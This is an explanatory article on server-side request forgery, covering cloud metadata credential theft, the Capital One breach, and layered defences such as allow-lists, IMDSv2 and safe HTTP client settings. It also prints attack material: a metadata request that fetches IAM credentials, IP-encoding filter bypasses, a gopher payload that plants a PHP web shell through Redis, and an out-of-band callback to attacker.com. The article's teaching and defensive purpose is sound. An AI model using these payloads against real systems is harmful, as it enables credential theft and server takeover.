SSRF: Server-Side Request Forgery
What is SSRF?
SSRF (Server-Side Request Forgery) is an attack where the attacker tricks the server into making requests to Internal Network resources that the attacker cannot access directly.
Hackers usually attack from outside the firewall, but SSRF makes "The Server Attack Itself". It's like tricking a bank teller into opening the vault for you via a phone call.
2. Why is it Dangerous? (AWS Metadata Theft)
Many developers think "I'm safe because I use Cloud", but SSRF is deadlier in Cloud environments.
2.1. AWS EC2 Metadata Service (IMDS)
AWS EC2 instances can query their own metadata via a special IP 169.254.169.254.
The problem is, this often contains IAM Role Credentials (Access Key, Secret Key).
# Attacker sends this request to your web app
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
If your web server executes this request and returns the result to the attacker? The attacker gains Admin Access to your server. They can delete S3 buckets or mine crypto.
3. Real World Case: Capital One Breach (2019)
The massive Capital One Breach was caused by SSRF.
- Capital One used AWS, and their WAF (Web Application Firewall) had an SSRF vulnerability.
- The hacker tricked the WAF server into accessing the Metadata Service (
169.254.169.254). - Gained the IAM Role assigned to the WAF server (Unfortunately, it had too much permission - S3 Full Access).
- Stole 100 Million Credit Card Applications from S3.
3.1. Bypassing Filters
Attackers are creative. If you block 127.0.0.1, they use:
- Decimal IP:
2130706433(Ping it, it works!) - Octal IP:
0177.0.0.1 - Hex IP:
0x7f000001 - DNS Wildcards:
127.0.0.1.nip.iomaps to127.0.0.1. - Enclosed Alphanumerics:
①②⑦.⓪.⓪.①(Some parsers normalize this).
3.2. Other Cloud Providers (Not just AWS)
SSRF isn't exclusive to AWS. Google Cloud (GCP) and Azure have similar metadata services.
-
Google Cloud Protocol (GCP):
- Header requirement:
Metadata-Flavor: Google - URL:
http://metadata.google.internal/computeMetadata/v1/ - Startups often forget to enforce headers in their proxy code.
- Header requirement:
-
Microsoft Azure:
- Header requirement:
Metadata: true - URL:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
- Header requirement:
3.3. Case Study: EC2 Instance Connect
AWS EC2 Instance Connect allows you to SSH into an instance using a temporary key pushed via metadata service. If an attacker has SSRF, they could potentially push their own SSH key to the instance metadata and gain Root Access to the server. This demonstrates that SSRF is not just about reading data; it can lead to Remote Code Execution (RCE).
After this, AWS released IMDSv2 (requires Session Token) to prevent this.
4. Advanced SSRF Vectors
It's not just about HTTP. If your server uses libraries like cURL, it might support other protocols.
4.1. Protocol Smuggling (Gopher, Dict, File)
-
file://: Read local files.
file:///etc/passwd. -
dict://: Communicate with Redis.
-
gopher://: The king of SSRF. Can construct ANY TCP packet.
- You can send a POST request with headers and body using Gopher.
- Attackers use this to talk to internal Redis, SMTP, or MySQL servers.
gopher://127.0.0.1:6379/_SET%20shell%20%22%5C%5C%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22
4.2. Blind SSRF
Sometimes the server doesn't return the response body (unlike the Capital One case). But you can still exploit it:
- Time-based: If the internal port is open, connection is fast. If filtered, it drops. If closed, it rejects (RST). You can map the internal network by measuring response times.
- Out-of-band (OOB): Force the internal server to DNS query your server. (e.g.,
http://{user}.attacker.com). By checking your DNS logs, you know which user triggered it.
5. Defense in Depth (Detailed Guide)
Simple "URL Check" is not enough. You need Layered Defense.
5.1. Input Validation (Whitelisting is King)
The most robust way is using an Allow-list.
// ✅ Safe: Domain Whitelist
const ALLOWED_DOMAINS = ['api.google.com', 'graph.facebook.com'];
function isValidUrl(inputUrl) {
try {
const url = new URL(inputUrl);
// 1. Verify Scheme
if (!['http:', 'https:'].includes(url.protocol)) return false;
// 2. Verify Hostname
return ALLOWED_DOMAINS.includes(url.hostname);
} catch (e) {
return false; // Invalid URL format
}
}
5.2. Network Isolation (VPC)
Control Outbound Traffic.
- Security Groups: Deny all outbound traffic by default. Allow only specific IPs (e.g., Google API).
- Private Subnets: Web servers should not be able to talk to "Admin" internal services directly.
- Disable IMDSv1: Enforce IMDSv2 on all EC2 instances.
aws ec2 modify-instance-metadata-options \ --instance-id i-1234567890abcdef0 \ --http-tokens required \ --http-endpoint enabled
5.3. Safe HTTP Clients
Configure your HTTP client to disable redirects and dangerous protocols.
Node.js (Axios):
axios.get(url, {
maxRedirects: 0, // Prevent redirect following
timeout: 1000, // Short timeout to prevent DoS
host: 'example.com', // Fix Host header
});
Python (Requests):
# Create a custom adapter to block local IP ranges
class SafeAdapter(requests.adapters.HTTPAdapter):
def send(self, request, **kwargs):
# Check IP here before sending
pass
session = requests.Session()
session.mount('http://', SafeAdapter())
session.get(url)
PHP (cURL):
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
5.4. Response Validation
Even if the request was sent, do not show the raw response to the user. Check Content-Type and format. If you expect JSON, parse it as JSON. If it's HTML/XML when you expected JSON, drop it.
6. Tools for Testing (Red Team)
How do you know if you are vulnerable? Use these tools:
- Burp Suite Collaborator: Generates OOB payloads to detect Blind SSRF.
- SSRFmap: Automated tool to fuzzy find SSRF vulnerabilities.
- Gopherus: Generates Gopher payloads for exploiting Redis, MySQL, etc.
- Interactsh: Open-source alternative to Burp Collaborator.
7. FAQ
Q. Is Axios or Request library safer than fetch?
A. No. It's logic, not library. Any HTTP client is vulnerable if it requests user input without validation. Axios follows redirects by default too.
Q. Is Redirect safe?
A. Dangerous. You request http://safe.com, but it redirects (302) to http://internal-server. Many libraries follow redirects automatically. Disable follow redirects or validate the final URL.
Wait, validating the final URL is tricky because of Race Conditions. The DNS might resolve differently the second time.
Q. What is DNS Rebinding?
A. evil.com points to 1.2.3.4 (External) during check, then swaps to 127.0.0.1 (Internal) during fetch (TOCTOU - Time Of Check To Time Of Use).
Prevention:
- Resolve the hostname to an IP address FIRST.
- Check if the IP is public/allowed.
- Make the request to the IP Address, not the hostname. (e.g.,
GET /withHost: original-hostheader).
Q. Use cases for Gopher protocol in SSRF?
A. Gopher is a legacy protocol but very powerful for attackers. It allows sending newlines (\r\n), which means you can craft valid HTTP, Redis commands, or SMTP commands within a Gopher URL.
Example: gopher://127.0.0.1:6379/_SET%20key%20value. This sets a key in local Redis.
Always disable unused protocols like Gopher, wrappers, etc.